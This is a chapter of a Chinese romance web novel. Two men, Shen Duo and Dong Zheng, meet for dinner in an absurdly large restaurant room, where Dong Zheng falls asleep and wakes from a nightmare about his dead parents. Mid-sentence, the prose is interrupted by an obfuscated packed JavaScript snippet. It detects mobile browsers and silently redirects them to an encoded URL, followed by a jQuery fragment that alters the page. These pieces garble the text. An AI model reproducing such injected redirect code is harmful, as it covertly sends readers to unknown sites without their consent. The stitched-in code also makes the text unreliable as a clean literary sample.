沈夺此时并没有在西郊工厂,他在沈宅别墅准备吃晚饭,年度给他打电话,说上次帮忙换电瓶的小超跑钥匙还在他那里,什么时候还回去。
沈夺顺手就编了个假消息,说工厂要清理僵尸车,还给人发了过去。
沈夺拿起大衣就要出门,庞莉问:“什么事那么着急?先吃饭再去。”
沈夺:“年度请吃饭。”
沈夺的朋友里面庞莉最不喜欢的就是年度。
年度长得白白净净的,人看着很斯文,还以为是个乖孩子呢,但人很叛逆很早熟,初中大部分男生还在聊少年漫,他就大方承认自己喜欢男生,而且是个0。
沈夺和年度从小就是同学,庞莉觉得儿子的性向就是年度给带跑偏的,她甚至怀疑沈夺是不是喜欢年度所以才出柜。
也是年度说了梦想是环游世界,儿子才十几年不着家,真的去环游世界了。
庞莉生闷气,但沈明贤自从接受沈夺的性向之后,在这方面倒是想得开:“随便他,男人想喜欢谁就喜欢谁,这哪能让别人左右,就像我,天王老子来了我也喜欢你啊。”
庞莉顿时阴转晴,被喂了一嘴狗粮的沈愿不乐意了:“爸,妈,你们都一大把年纪了,是不是该收敛点,哥说得对,你们是不是要再给我添个弟弟妹妹。”
庞莉被逗得哈哈大笑,沈明贤恼羞成怒骂人:“小孩子,一天到晚没个小孩子样,还有沈夺,一回来就带坏小孩。”
沈夺得先去年度那里拿钥匙,再去工厂开车。
年度的公司在东郊,锦城集团的工厂在西郊,而宇思科技在市中心,沈夺得跑完整个S市。
沈夺到年度的公司时,年度正躺在椅子上,腿翘在办公桌上打游戏,宝马小超跑的车钥匙放在一边。
沈夺一到,年度抬了抬下巴:“那儿呢。”
沈夺放下自己的车钥匙:“帮我把车开回去。”
年度看着宝马车钥匙:“告诉我是谁的车,让沈大董事长拖着我加班,还大老远亲自跑过来取钥匙,我就帮你把车开回去。”
沈夺面无表情:“大客户。”
年度都没正眼看他,嗤了声:“我初中就开窍,你能骗得了我?感兴趣,好感,暧昧,追求,还是已经炮火连天了?改天带来给兄弟看看?”
沈夺看了他一眼,抓起宝马小超跑的钥匙就走了。
年度嗤了声,暗骂一句老来骚,冲他的背影喊:“别指望老子给你把车开回去。”
宇思科技在CBD,附近就有家会员制米其林三星旋转餐厅。
董争打电话预定个两人包间,服务员说:“抱歉先生,两人包间没有了,只有大厅了。”
董争问:“那还有什么包间?”
服务员:“剩最后一个,八人包间。”
董争:“……订,撤走6把椅子。”
服务员:“额,先生,如果您两个人的话,要不坐大厅吧,8个人包间有点太大了。”
董争很豪横:“订。”
寸土寸金的地方,8人包间能有多大。
董争穿上外套准备出门,周徐端了两杯咖啡往回走。
周徐:“师父,去哪里?”
“去吃饭。”
“哦,等我一下,我把咖啡放下来。”
董争:“给你点了万客楼,一会儿自己下去拿。”
周徐指着实验室的设备问:“那设备呢?”
董争沉默了下说:“不急,等我回来,不会太久。”
周徐来公司的时间不长,并不太清楚董争和肖正乔之间的恩怨纠葛,但他能看到的是,董争对公司几乎没有任何私心,不计回报和成本付出,牺牲自己的身体和精力,一心一意扑在项目上。
即使如今整个高层针对他的意图已经那么明显,他仍丝毫不变,若是别人早就跳槽八百遍了。
但周徐也很佩服他,他已经拥有了普通人想拥有的一切,却过着普通人都想逃离的牛马生活。
董争对他说过,既然选择了,就要全力以赴往前冲,不要留遗憾。
不知为何,他觉得董争现在有点反常,临门一脚,董争却似乎有点胆怯和退缩了。
那么强大的人也会害怕,说明这个设备对他真的很重要。
周徐:“师父,你没事儿吧。”
董争正在扣羽绒服拉链,闻言手一顿,垂着眼眸安静很久,周徐清楚看到他的睫毛轻轻颤了颤。
董争唰地把拉链拉到顶,拍了拍周徐的肩膀:“没事。”
周徐:“带上我呗。”
董争笑得暧昧:“约了粉红佳人,你去当电灯泡啊,走了。”
周徐:“我不介意。”
董争:“我介意。”
周徐嗤了声,就他这样天天泡在工作室的技术宅男,皮囊再好看都不可能有粉红佳人。
董争去吃饭向来都带着他,如此反常唯一解释就是,董争心情不好。
周徐看着他的背影,无奈地叹了口气。
董争走出工作室等电梯,电梯门一开,里面只有肖正乔一个人。
肖正乔一怔,不自在地挪了下步子,董争倒是跟个没事人一样,当肖正乔不存在,目不斜视地走进电梯。
其实董争并不像他表面看到的那样内心毫无波澜,毕竟两人认识快十年了,还一起创业,如今闹成这个样子,董争实属不愿意。
董争站在前面,看不到肖正乔这张脸,眼不见心不烦。
肖正乔咳了几声终于开口:“你上次去办公室找我是有什么事的?我这阵子太忙了都没打电话问。”
肖正乔其实不愿开这个口,于公,他是董事长,于私,他是兄长,无论如何也应该是董争先跟他打招呼。
但董争就这性子,不高兴的事全挂在脸上,任性惯了,从不给人面子,也就是他俩一路走过来,自己才能忍受他的性子,要是他去别的公司上班,早就被开了八百回。
肖正乔没想到的是,董争还可以更不给面子。
他冷笑一声:“不想说话其实可以不说的,没话说也可以不说的。”
肖正乔:“……”
董争:“不过,确实有事找你,是想向你觐见。”
肖正乔听得出董争语气里的嘲弄,从鼻孔里哼了声:“嗯。”
董争回过头,朝他笑了笑:“建议你办公室门口再设一道安检,还得配俩身强力壮的保安。”
电梯叮地一声,董争毫不留恋走出电梯,再朝空气翻了个白眼,独留肖正乔一人在电梯里气到浑身起静电。
董争怼了肖正乔气后顺了些,到餐厅后走进包间,看到那么大一张几乎可以坐20个人、直径差不多三米的大圆桌和孤零零的两张椅子陷入了沉思,脑子里回荡的是服务员那句:8人的包间有点大。
寸土寸金的地方,他们怎么舍得用那么大一块地做8人包间。
董争:“你确定这是8人包间?”
服务员正是刚才接他电话帮他预定的服务员:“对的,先生,你看,这两把椅子要怎么摆?”
董争也不知道要怎么摆,摆对面的哈讲话估计得喊,摆在一起的话两人的关系还没到这份上。
董争思考了片刻说:“摆面对面,然后给我们配个对讲机。”
服务员终于忍俊不禁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410576|168696||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,噗嗤笑出声:“我帮您再看看,现在有没有新的包间空出来。”
董争:“非常感谢。”
遗憾的是,并没有空出的包间,甚至连大厅都没了座位,董争只好硬着头皮坐了下来。
服务员:“先生,现在点菜吗?”
董争:“菜单给我,先等会儿点。”
服务员:“这边照例给您送一扎乌梅汁,您看可以吗?”
董争:“好的,谢谢。”
这家餐厅的老板很细心,记得顾客每个小偏好,董争来这儿吃饭几乎每次都点乌梅汁,后来乌梅汁就成了赠送给他的饮品。
董争给人发微信。
【到哪里了?】
董争无比庆幸认了个表亲,不然还不知道该怎么称呼他。
沈刨工:【堵车。】
董争:【不着急。】
其实没有堵车,沈夺只是在东西奔波横穿S市。
董争等了将近一个小时,沈夺还没来。
但他并不生气,他只是找个借口转移一下注意力,暂时逃避胆怯和不安,而沈夺正好出现而已。
从工作室里出来换了个环境后董争无比地放松,包厢里的软椅很舒服,空调温度正好,放着舒缓的音乐,服务员帮他泡了一壶他最喜欢的茉莉花茶,茶香四溢沁人心脾。
他靠在椅子上闭上眼睛,享受这难得的静谧。
但他忘了他是个极易睡着的体质,加上身体极度疲惫,此时又极度放松,没过几分钟,他就靠在椅子上睡着了。
沈夺赶到包间时,太阳已经西沉,城市华灯初上。
而那个说要请他吃饭的人靠着椅子睡着了,睡得歪歪扭扭的,都快要从椅子上滑下来了,估计已经睡了很久。
服务员声音压得很低:“先生,就这个包间。”
沈夺看着这个三米大圆桌,又看了眼服务员。
服务员生怕他不相信一般,又强调了一遍:“先生,真的是这个包间。”
沈夺点了下头:“好。”
服务员:“点菜吗?”
沈夺摆了摆手,示意她先下去。
董争睡得很安静,但眉头皱着,似乎不高兴,睫毛很长,也盖不住乌青的眼底。
沈夺看着他,轻轻拉开椅子,不料董争动了下,沈夺立刻停下手中的动作看着他。
董争呼吸急促,眉头皱得更深了,嘴巴微微张着,整个人看起来很紧张,似乎在做噩梦。
他的梦里应该很痛苦,嘴角向下瘪,抽抽搭搭,很用力,却没办法哭出声。
沈夺正想着把他从梦魇中拖出来,他猛然一惊,整个人重心不稳,咚一声,从椅子上跌下去。
咚一声闷响,董争跌倒了地上,伴着哽咽一声惊呼:“不要啊——妈——”
凳子摇摇晃晃,竟没跌下去。
沈夺松了口气。
某人睡是真爱睡,摔也真爱摔。
董争仰躺在地上,睁开眼,脑子一片空白,在梦里用力哭喊却流不出来的眼泪不受控制唰唰从眼角流下来。
他看着嵌入天花板的射灯,想起医生帮他拆眼睛纱布的那天。
他终于看得到这五彩斑斓的世界,但这个世界上再也没有爸妈了。
董争安静地躺在地上,耳边回荡着梦中父母凄厉无助的声音,他沉沦在梦境中难以脱身。
天花板的射光灯被一只大手挡住,灯光从他的指缝中漏出来,光给他修长有力的手臂镀上了好看的轮廓。
这是他第二次伸手了。
他们都没有注意,他的手的影子正好贴着董争的侧脸,像轻抚着董争的脸一般。